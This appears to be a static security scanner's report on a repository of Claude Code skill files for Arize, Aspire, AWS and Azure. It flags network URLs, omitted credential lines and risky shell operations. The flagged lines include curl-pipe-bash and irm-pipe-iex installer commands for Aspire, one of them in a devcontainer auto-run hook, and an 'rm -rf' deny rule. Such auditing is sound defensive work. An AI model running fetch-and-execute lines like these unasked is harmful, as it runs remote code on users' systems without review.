    | `No profile found`, missing API key, or `401 Unauthorized` | Run `ax profiles show`. If missing or wrong, read `references/ax-profiles.md`. If the user lacks a key, direct them to https://app.arize.com/admin > API Keys. |
  • Network accessline 250
    - [Arize API keys](https://app.arize.com/admin)

harness/claude-code/skills/arize-trace/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/skills/aspire/SKILL.md

  • Network accessline 32
    # Linux / macOS curl -sSL https://aspire.dev/install.sh | bash
  • Dangerous shell operationline 33
    curl -sSL https://aspire.dev/install.sh | bash
  • Network accessline 33
    curl -sSL https://aspire.dev/install.sh | bash
  • Network accessline 35
    # Windows PowerShell irm https://aspire.dev/install.ps1 | iex
  • Network accessline 36
    irm https://aspire.dev/install.ps1 | iex
  • Network accessline 47
    Prefer the Aspire MCP server when available. Aspire CLI 13.2+ adds docs search tools from PR https://github.com/dotnet/aspire/pull/14028 ; update with `aspire update --self --channel daily`. David Pine's overview is https://davidpine.dev/po
  • Network accessline 198
    - [Documentation](https://aspire.dev)
  • Network accessline 199
    - [Runtime repo](https://github.com/dotnet/aspire)
  • Network accessline 200
    - [Docs repo](https://github.com/microsoft/aspire.dev)
  • Network accessline 201
    - [Samples](https://github.com/dotnet/aspire-samples)
  • Network accessline 202
    - [Community Toolkit](https://github.com/CommunityToolkit/Aspire)
  • Network accessline 203
    - Dashboard image: `mcr.microsoft.com/dotnet/aspire-dashboard` - [Discord](https://aka.ms/aspire/discord) - [Reddit](https://www.reddit.com/r/aspiredotdev/)
  • Network accessline 204
    - [Discord](https://aka.ms/aspire/discord)
  • Network accessline 205
    - [Reddit](https://www.reddit.com/r/aspiredotdev/)

harness/claude-code/skills/aspire/references/architecture.md

  • Network accessline 137
    services__api__http__0=http://localhost:5234
  • Network accessline 138
    services__api__https__0=https://localhost:7234
  • Network accessline 139
    services__ml__http__0=http://localhost:8000
  • Access to secretsline 162
    [Credential-related source omitted]
  • Network accessline 228
    OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317
  • Access to secretsline 329
    [Credential-related source omitted]

harness/claude-code/skills/aspire/references/cli-reference.md

  • Network accessline 12
    # Linux / macOS curl -sSL https://aspire.dev/install.sh | bash
  • Dangerous shell operationline 13
    curl -sSL https://aspire.dev/install.sh | bash
  • Network accessline 13
    curl -sSL https://aspire.dev/install.sh | bash
  • Network accessline 15
    # Windows PowerShell irm https://aspire.dev/install.ps1 | iex
  • Network accessline 16
    irm https://aspire.dev/install.ps1 | iex
  • Access to secretsline 146
    [Credential-related source omitted]
  • Access to secretsline 200
    [Credential-related source omitted]
  • Access to secretsline 219
    [Credential-related source omitted]

harness/claude-code/skills/aspire/references/dashboard.md

  • Network accessline 65
    - **Model metadata** — which model, temperature, max tokens - **Latency** — time per AI call - Requires services to emit [GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) via OpenTelemetry
  • Network accessline 67
    - Requires services to emit [GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) via OpenTelemetry
  • Network accessline 106
    # Environment variables for any language's OpenTelemetry SDK OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317
  • Network accessline 107
    OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317
  • Network accessline 122
    build: ./api     environment:       - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889
  • Network accessline 123
    environment:       - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889       - OTEL_SERVICE_NAME=api
  • Network accessline 124
    - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889
  • Network accessline 128
    build: ./worker     environment:       - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889
  • Network accessline 129
    environment:       - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889       - OTEL_SERVICE_NAME=worker
  • Network accessline 130
    - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889
  • Network accessline 154
    # Accept OTLP over gRPC (default) -e DASHBOARD__OTLP__GRPC__ENDPOINT=http://0.0.0.0:18889
  • Network accessline 155
    -e DASHBOARD__OTLP__GRPC__ENDPOINT=http://0.0.0.0:18889
  • Network accessline 157
    # Accept OTLP over HTTP -e DASHBOARD__OTLP__HTTP__ENDPOINT=http://0.0.0.0:18890
  • Network accessline 158
    -e DASHBOARD__OTLP__HTTP__ENDPOINT=http://0.0.0.0:18890
  • Network accessline 203
    # Aspire injects OTEL_EXPORTER_OTLP_ENDPOINT automatically endpoint = os.environ.get("OTEL_EXPORTER_OTLP_ENDPOINT", "http://localhost:4317")
  • Network accessline 204
    [Credential-related source omitted]
  • Access to secretsline 204
    [Credential-related source omitted]
  • Network accessline 219
    new BatchSpanProcessor(     new OTLPTraceExporter({       url: process.env.OTEL_EXPORTER_OTLP_ENDPOINT || "http://localhost:4317",
  • Network accessline 220
    new OTLPTraceExporter({       url: process.env.OTEL_EXPORTER_OTLP_ENDPOINT || "http://localhost:4317",     })
  • Network accessline 221
    url: process.env.OTEL_EXPORTER_OTLP_ENDPOINT || "http://localhost:4317",

harness/claude-code/skills/aspire/references/deployment.md

  • Network accessline 143
    - name: Install Aspire CLI         run: curl -sSL https://aspire.dev/install.sh | bash
  • Dangerous shell operationline 144
    run: curl -sSL https://aspire.dev/install.sh | bash
  • Network accessline 144
    run: curl -sSL https://aspire.dev/install.sh | bash
  • Dangerous shell operationline 171
    - script: curl -sSL https://aspire.dev/install.sh | bash
  • Network accessline 171
    - script: curl -sSL https://aspire.dev/install.sh | bash
  • Network accessline 227
    "ghcr.io/devcontainers/features/node:1": {}   },   "postCreateCommand": "curl -sSL https://aspire.dev/install.sh | bash",
  • Network accessline 228
    },   "postCreateCommand": "curl -sSL https://aspire.dev/install.sh | bash",   "forwardPorts": [18888],
  • Dangerous shell operationline 229
    "postCreateCommand": "curl -sSL https://aspire.dev/install.sh | bash",
  • Network accessline 229
    "postCreateCommand": "curl -sSL https://aspire.dev/install.sh | bash",

harness/claude-code/skills/aspire/references/integrations-catalog.md

  • Network accessline 22
    > **Tip:** These tools return the same data as the [official integrations gallery](https://aspire.dev/integrations/gallery/). Prefer them over static docs — integrations are added frequently.
  • Network accessline 30
    - **Hosting package** (`Aspire.Hosting.*`) — adds the resource to the AppHost - **Client package** (`Aspire.*`) — configures the client SDK in your service with health checks, telemetry, and retries - **Community Toolkit** (`CommunityToolki
  • Network accessline 32
    - **Community Toolkit** (`CommunityToolkit.Aspire.*`) — community-maintained integrations from [Aspire Community Toolkit](https://github.com/CommunityToolkit/Aspire)

harness/claude-code/skills/aspire/references/mcp-server.md

  • Network accessline 5
    Reference: https://aspire.dev/get-started/configure-mcp/
  • Network accessline 87
    > **Version gate:** These tools were added in [PR #14028](https://github.com/dotnet/aspire/pull/14028) and ship in Aspire CLI **13.2**. If you are on 13.1, these tools will NOT appear. To get them early, update to the daily channel: `aspire
  • Network accessline 126
    - [VS Code](https://code.visualstudio.com/docs/agent-customization/mcp-servers) (GitHub Copilot)
  • Network accessline 127
    - [Copilot CLI](https://docs.github.com/en/copilot/how-tos/use-copilot-agents/use-copilot-cli#add-an-mcp-server)
  • Network accessline 128
    - [Claude Code](https://docs.claude.com/en/docs/claude-code/mcp)
  • Network accessline 129
    - [OpenCode](https://opencode.ai/docs/mcp-servers/)
  • Network accessline 187
    If you run into issues, check the [open MCP issues on GitHub](https://github.com/dotnet/aspire/issues?q=is%3Aissue+is%3Aopen+label%3Aarea-mcp).
  • Network accessline 191
    - [aspire mcp command](https://aspire.dev/reference/cli/commands/aspire-mcp/)
  • Network accessline 192
    - [aspire mcp init command](https://aspire.dev/reference/cli/commands/aspire-mcp-init/)
  • Network accessline 193
    - [aspire mcp start command](https://aspire.dev/reference/cli/commands/aspire-mcp-start/)
  • Network accessline 194
    - [GitHub Copilot in the Dashboard](https://aspire.dev/dashboard/copilot/)
  • Network accessline 195
    - [How I taught AI to read Aspire docs](https://davidpine.dev/posts/aspire-docs-mcp-tools/)

harness/claude-code/skills/aspire/references/polyglot-apis.md

  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]

harness/claude-code/skills/aspire/references/troubleshooting.md

  • Dangerous shell operationline 62
    | "Permission denied" on Linux      | Add user to `docker` group: `sudo usermod -aG docker $USER`                                            |
  • Network accessline 188
    | Channel                 | URL                                            | | ----------------------- | ---------------------------------------------- | | GitHub Issues (runtime) | https://github.com/dotnet/aspire/issues        |
  • Network accessline 189
    | ----------------------- | ---------------------------------------------- | | GitHub Issues (runtime) | https://github.com/dotnet/aspire/issues        | | GitHub Issues (docs)    | https://github.com/microsoft/aspire.dev/issues |
  • Network accessline 190
    | GitHub Issues (runtime) | https://github.com/dotnet/aspire/issues        |
  • Network accessline 191
    | GitHub Issues (docs)    | https://github.com/microsoft/aspire.dev/issues |
  • Network accessline 192
    | Discord                 | https://aka.ms/aspire/discord                  |
  • Network accessline 194
    | Reddit                  | https://www.reddit.com/r/aspiredotdev/         |

harness/claude-code/skills/automate-this/SKILL.md

  • Network accessline 113
    echo "=== Node ===" && { command -v node && node --version 2>&1; } || echo "not installed" echo "=== Homebrew ===" && { command -v brew && echo "installed"; } || echo "not installed" echo "=== Common Tools ===" && for cmd in curl jq playwri
  • Network accessline 115
    echo "=== Common Tools ===" && for cmd in curl jq playwright selenium osascript automator crontab; do command -v $cmd >/dev/null 2>&1 && echo "$cmd: yes" || echo "$cmd: no"; done
  • Access to secretsline 188
    [Credential-related source omitted]

harness/claude-code/skills/autoresearch/SKILL.md

  • Network accessline 11
    author: luiscantero   compatibility: Requires git, a git repository, and terminal access to run commands.   inspired-by: "https://github.com/karpathy/autoresearch"
  • Network accessline 12
    compatibility: Requires git, a git repository, and terminal access to run commands.   inspired-by: "https://github.com/karpathy/autoresearch" ---
  • Network accessline 13
    inspired-by: "https://github.com/karpathy/autoresearch"
  • Network accessline 32
    - Requires git, a git repository, and terminal access. - Requires a measurable metric with an exact command, extraction rule, and direction. - Inspired by Karpathy's autoresearch: <https://github.com/karpathy/autoresearch>.
  • Network accessline 33
    - Requires a measurable metric with an exact command, extraction rule, and direction. - Inspired by Karpathy's autoresearch: <https://github.com/karpathy/autoresearch>. - Do not use for one-shot tasks, simple bug fixes, code review, or task
  • Network accessline 34
    - Inspired by Karpathy's autoresearch: <https://github.com/karpathy/autoresearch>.
  • Network accessline 173
    - [Karpathy autoresearch](https://github.com/karpathy/autoresearch)

harness/claude-code/skills/aws-cost-optimize/SKILL.md

  • Network accessline 33
    **Process**: 1. **Load Best Practices**:    - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html`
  • Network accessline 34
    1. **Load Best Practices**:    - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html`    - Fetch the AWS Well-Architected Cost Optimization pillar summary
  • Network accessline 35
    - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html`

harness/claude-code/skills/aws-resource-health-diagnose/SKILL.md

  • Network accessline 27
    - The target resource must be identified by name, type, and optionally region/account. - CloudWatch logs and metrics should be enabled; if not, report the limitation and recommend enablement. - Fetch `https://docs.aws.amazon.com/AmazonCloud
  • Network accessline 29
    - Fetch `https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/` when current monitoring guidance is needed.
  • Network accessline 173
    - [Amazon CloudWatch monitoring](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/)

harness/claude-code/skills/aws-well-architected-review/SKILL.md

  • Network accessline 27
    - IaC should be present as Terraform, CloudFormation, CDK, or SAM. If none exists, review live resources only and report the gap. - GitHub issue creation requires an authenticated GitHub tool or `gh`; otherwise output issue-ready Markdown. 
  • Network accessline 29
    - Fetch `https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html` and relevant lenses when current best practices are needed.
  • Network accessline 216
    - [AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html)

harness/claude-code/skills/az-cost-optimize/SKILL.md

  • Network accessline 78
    Calculate CPU and memory utilization averages, database throughput patterns, storage access frequency, and Function execution rates. Validate current monthly cost before recommendations by mapping `Resource -> Current SKU -> Estimated month

harness/claude-code/skills/azure-agentic-architecture-patterns/SKILL.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 73
    - [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 74
    - [Azure Well-Architected for AI workloads](https://learn.microsoft.com/azure/well-architected/ai/)
  • Network accessline 75
    - [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/)
  • Network accessline 76
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 77
    - [GitHub Models](https://docs.github.com/github-models)

harness/claude-code/skills/azure-agentic-architecture-patterns/references/caching.md

  • Network accessline 46
    - [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
  • Network accessline 47
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)
  • Network accessline 48
    - [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/)

harness/claude-code/skills/azure-agentic-architecture-patterns/references/context-curation.md

  • Network accessline 47
    - [Retrieval augmented generation on Azure AI Search](https://learn.microsoft.com/azure/search/retrieval-augmented-generation-overview)
  • Network accessline 48
    - [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 49
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)

harness/claude-code/skills/azure-agentic-architecture-patterns/references/evaluation-observability-cost.md

  • Network accessline 35
    - [Azure AI Foundry evaluation](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai)
  • Network accessline 36
    - [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/)
  • Network accessline 37
    - [Monitor generative AI applications](https://learn.microsoft.com/azure/ai-foundry/how-to/monitor-applications)
  • Network accessline 38
    - [Azure Well-Architected cost optimization](https://learn.microsoft.com/azure/well-architected/cost-optimization/)

harness/claude-code/skills/azure-agentic-architecture-patterns/references/guardrails-and-identity.md

  • Network accessline 36
    - [Microsoft Entra Agent ID](https://learn.microsoft.com/entra/)
  • Network accessline 37
    - [Azure AI Content Safety](https://learn.microsoft.com/azure/ai-services/content-safety/)
  • Network accessline 38
    - [Prompt Shields](https://learn.microsoft.com/azure/ai-services/content-safety/concepts/jailbreak-detection)
  • Network accessline 39
    - [Azure Well-Architected security for AI](https://learn.microsoft.com/azure/well-architected/ai/)

harness/claude-code/skills/azure-agentic-architecture-patterns/references/memory.md

  • Network accessline 39
    - [Azure AI Foundry Agent Service threads](https://learn.microsoft.com/azure/ai-foundry/agents/)
  • Network accessline 40
    - [Azure Managed Redis](https://learn.microsoft.com/azure/redis/)
  • Network accessline 41
    - [Azure AI Search](https://learn.microsoft.com/azure/search/)

harness/claude-code/skills/azure-agentic-architecture-patterns/references/model-routing.md

  • Network accessline 35
    - [Azure AI Foundry model catalog and router](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 36
    - [GitHub Models](https://docs.github.com/github-models)
  • Network accessline 37
    - [Azure API Management for AI](https://learn.microsoft.com/azure/api-management/)

harness/claude-code/skills/azure-agentic-architecture-patterns/references/tools-and-mcp.md

  • Network accessline 34
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 35
    - [Azure API Center](https://learn.microsoft.com/azure/api-center/)
  • Network accessline 36
    - [Azure AI Foundry Agent Service tools](https://learn.microsoft.com/azure/ai-foundry/agents/)

harness/claude-code/skills/azure-ai/SKILL.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 87
    - AI Search indexing and queries -> [Azure AI Search documentation](https://learn.microsoft.com/azure/search/search-what-is-azure-search)
  • Network accessline 88
    - Speech transcription patterns -> [Azure AI Speech documentation](https://learn.microsoft.com/azure/ai-services/speech-service/overview)

harness/claude-code/skills/azure-ai/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/skills/azure-ai/references/sdk/azure-ai-transcription-py.md

  • Access to secretsline 15
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]

harness/claude-code/skills/azure-ai/references/sdk/azure-ai-translation-ts.md

  • Access to secretsline 14
    [Credential-related source omitted]

harness/claude-code/skills/azure-airunway-aks-setup/references/steps/step-5-deploy.md

  • Dangerous shell operationline 30
    trap 'rm -f "$hf_token_file"' EXIT
  • Access to secretsline 34
    [Credential-related source omitted]

harness/claude-code/skills/azure-airunway-aks-setup/references/steps/step-6-summary.md

  • Network accessline 22
    echo "Endpoint not yet available — model may still be starting" else   curl -X POST "${ENDPOINT}/v1/chat/completions" \
  • Network accessline 23
    else   curl -X POST "${ENDPOINT}/v1/chat/completions" \     -H "Content-Type: application/json" \
  • Network accessline 24
    curl -X POST "${ENDPOINT}/v1/chat/completions" \
  • Network accessline 30
    > **If the endpoint is a cluster-internal URL** (e.g., `http://svc-name.namespace:port`), set up port-forwarding first:
  • Network accessline 35
    > > kubectl port-forward svc/<service-name> 8080:${SERVICE_PORT} -n <namespace> & > # Then use http://localhost:8080 as the endpoint
  • Network accessline 36
    > kubectl port-forward svc/<service-name> 8080:${SERVICE_PORT} -n <namespace> & > # Then use http://localhost:8080 as the endpoint > ```
  • Network accessline 37
    > # Then use http://localhost:8080 as the endpoint

harness/claude-code/skills/azure-api-center/SKILL.md

  • Network accessline 123
    - [Azure API Center](https://learn.microsoft.com/azure/api-center/)
  • Network accessline 124
    - [Register APIs in API Center](https://learn.microsoft.com/azure/api-center/register-apis)
  • Network accessline 125
    - [API governance and linting](https://learn.microsoft.com/azure/api-center/enable-api-analysis-linting)
  • Network accessline 126
    - [API Center and API Management](https://learn.microsoft.com/azure/api-center/)

harness/claude-code/skills/azure-app-onboard-prereq/references/prereq-schemas.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 64
    buildRequirements?: BuildRequirements;   /** Detected health endpoint path (e.g., "/health", "/api/v1/health/").    *  Used by scaffold for Azure health probe config and deploy for curl health check.
  • Network accessline 65
    /** Detected health endpoint path (e.g., "/health", "/api/v1/health/").    *  Used by scaffold for Azure health probe config and deploy for curl health check.    *  null if no health endpoint found (triggers W-HEALTH warning). */
  • Network accessline 66
    *  Used by scaffold for Azure health probe config and deploy for curl health check.

harness/claude-code/skills/azure-app-onboard-prereq/references/session-schemas.ts

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-app-onboard/references/deploy/blocked-patterns.md

  • Dangerous shell operationline 7
    | `rm -rf` (any path outside a fresh temp dir) | ⛔ Block | Prevents accidental deletion of IaC, app code, or session artifacts — especially `infra/`, `.azure/`, `.copilot-azure/`. |

harness/claude-code/skills/azure-app-onboard/references/deploy/code-deployment-appservice.md

  • Network accessline 48
    [Credential-related source omitted]
  • Network accessline 49
    [Credential-related source omitted]
  • Network accessline 52
    [Credential-related source omitted]
  • Network accessline 53
    [Credential-related source omitted]
  • Network accessline 54
    [Credential-related source omitted]

harness/claude-code/skills/azure-app-onboard/references/deploy/code-deployment-container-apps.md

  • Network accessline 25
    | Step | Command | Notes | |------|---------|-------| | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use
  • Network accessline 26
    |------|---------|-------| | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use `-f Dockerfile.azure` (see
  • Network accessline 27
    | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use `-f Dockerfile.azure` (see BuildKit handling below). 

harness/claude-code/skills/azure-app-onboard/references/deploy/code-deployment-swa.md

  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 52
    - **Hostname** — `swa deploy` produces no ARM endpoint output, so fetch it: `$swaHost = az staticwebapp show -n {swa} -g {rg} --query defaultHostname -o tsv` - `endpoints[]` — `[{ name, url: "https://$swaHost", healthStatus: "healthy" }]` (
  • Network accessline 53
    - `endpoints[]` — `[{ name, url: "https://$swaHost", healthStatus: "healthy" }]` (HTTP GET `https://$swaHost/` → 2xx confirms healthy)

harness/claude-code/skills/azure-app-onboard/references/deploy/deploy-checklist-template.md

  • Network accessline 55
    - ACR build failures count toward healing counter - Windows: append `--no-logs` to `az acr build` to avoid UnicodeEncodeError - ⛔ After the revision is ready, run an explicit live HTTP probe against the ingress FQDN (`curl -sSfL`/`iwr` on `
  • Network accessline 57
    - ⛔ After the revision is ready, run an explicit live HTTP probe against the ingress FQDN (`curl -sSfL`/`iwr` on `*.azurecontainerapps.io`) — this call IS the health check; capture the result into `deploy-result.json.endpoints[].healthStatu
  • Access to secretsline 65
    [Credential-related source omitted]

harness/claude-code/skills/azure-app-onboard/references/deploy/deploy-schemas.ts

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-app-onboard/references/deploy/health-check-patterns.md

  • Network accessline 22
    If the first health check returns **301 or 302**: 1. Read the `Location` header: `curl -sI "https://{fqdn}{probePath}" | Select-String "^location:" -CaseSensitive:$false`
  • Network accessline 23
    1. Read the `Location` header: `curl -sI "https://{fqdn}{probePath}" | Select-String "^location:" -CaseSensitive:$false`
  • Network accessline 54
    |---------|---------------| | Container Apps | `latestReadyRevisionName` not empty + HTTP on ingress FQDN | | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` |
  • Network accessline 55
    | Container Apps | `latestReadyRevisionName` not empty + HTTP on ingress FQDN | | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` | | Static Web Apps | HTTP GET `https://{defaultHostname}/` → 2xx = `healthy` (hostname
  • Network accessline 56
    | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` |
  • Network accessline 57
    | Static Web Apps | HTTP GET `https://{defaultHostname}/` → 2xx = `healthy` (hostname: `az staticwebapp show -n {swa} -g {rg} --query defaultHostname -o tsv`) |
  • Network accessline 64
    > ⛔ **Container Apps — run an explicit live HTTP probe (the pipeline status is NOT sufficient).** After `latestReadyRevisionName` is set, run an observable request against the ingress FQDN and capture the result into `deploy-result.json.end
  • Network accessline 65
    > ```powershell > iwr "https://{ingressFqdn}/{probePath}" -UseBasicParsing   # PowerShell > curl -sSfL "https://{ingressFqdn}/{probePath}"             # bash
  • Network accessline 66
    > iwr "https://{ingressFqdn}/{probePath}" -UseBasicParsing   # PowerShell
  • Network accessline 67
    > curl -sSfL "https://{ingressFqdn}/{probePath}"             # bash
  • Network accessline 76
    {   "name": "api",   "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io",
  • Network accessline 77
    "name": "api",   "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io",   "healthStatus": "healthy"  // healthy | degraded | unreachable | unknown
  • Network accessline 78
    "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io",

harness/claude-code/skills/azure-app-onboard/references/deploy/mcp-tools.md

  • Network accessline 5
    > **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>

harness/claude-code/skills/azure-app-onboard/references/deploy/portal-links.md

  • Network accessline 11
    $deploymentName = "app-onboard-deploy-$("{sessionId}".Substring(0,8))" $resId = "/subscriptions/{subscriptionId}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDeta
  • Network accessline 12
    $resId = "/subscriptions/{subscriptionId}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))" Write-Output "LIN
  • Network accessline 13
    $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))"
  • Network accessline 27
    $resId = "/subscriptions/{subscriptionId}/resourceGroups/{rg}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F')
  • Network accessline 28
    $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))"
  • Network accessline 33
    For Terraform (no single ARM deployment): `https://portal.azure.com/#@{tenantId}/resource/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/activitylog`
  • Network accessline 51
    ⚠<U+FE0F> Previous deployment link is stale — use this one: https://portal.azure.com/.../{newDeploymentName}
  • Network accessline 52
    https://portal.azure.com/.../{newDeploymentName}

harness/claude-code/skills/azure-app-onboard/references/deploy/preflight-checks.md

  • Network accessline 17
    - Success → proceed. Active subscription + tenant confirmed. - Failure → `ENVIRONMENT_BLOCKING`. Suggest `az login` (plain, no scope). - ⛔ NEVER suggest `az login --scope https://graph.microsoft.com/.default` — Graph scope is irrelevant for
  • Network accessline 19
    - ⛔ NEVER suggest `az login --scope https://graph.microsoft.com/.default` — Graph scope is irrelevant for ARM deployments.

harness/claude-code/skills/azure-app-onboard/references/handoff-protocol.md

  • Network accessline 12
    > 📁 Resource Group: {context.json.azure.resourceGroup} > 🌍 Region: {context.json.azure.region} > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview
  • Network accessline 13
    > 🌍 Region: {context.json.azure.region} > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview > ```
  • Network accessline 14
    > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview

harness/claude-code/skills/azure-app-onboard/references/iac-resources.md

  • Network accessline 7
    | Resource | URL | Use When | |----------|-----|----------| | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install |
  • Network accessline 8
    |----------|-----|----------| | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install | | Azure Resource Reference | https://learn.microsoft.com/en-u
  • Network accessline 9
    | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install |
  • Network accessline 10
    | Azure Resource Reference | https://learn.microsoft.com/en-us/azure/templates/ | Resource properties, API versions, schema per type |
  • Network accessline 14
    | Resource | URL | Use When | |----------|-----|----------| | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks |
  • Network accessline 15
    |----------|-----|----------| | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks | | Terraform Registry — azapi | https://registry.
  • Network accessline 16
    | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks |
  • Network accessline 17
    | Terraform Registry — azapi | https://registry.terraform.io/providers/azure/azapi/latest | Preview resources not yet in azurerm; maps to ARM REST APIs |
  • Network accessline 34
    | Resource | URL | Use When | |----------|-----|----------| | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvail
  • Network accessline 35
    |----------|-----|----------| | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvailable`, `QuotaExceeded`, any AR
  • Network accessline 36
    | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvailable`, `QuotaExceeded`, any ARM error code |
  • Network accessline 37
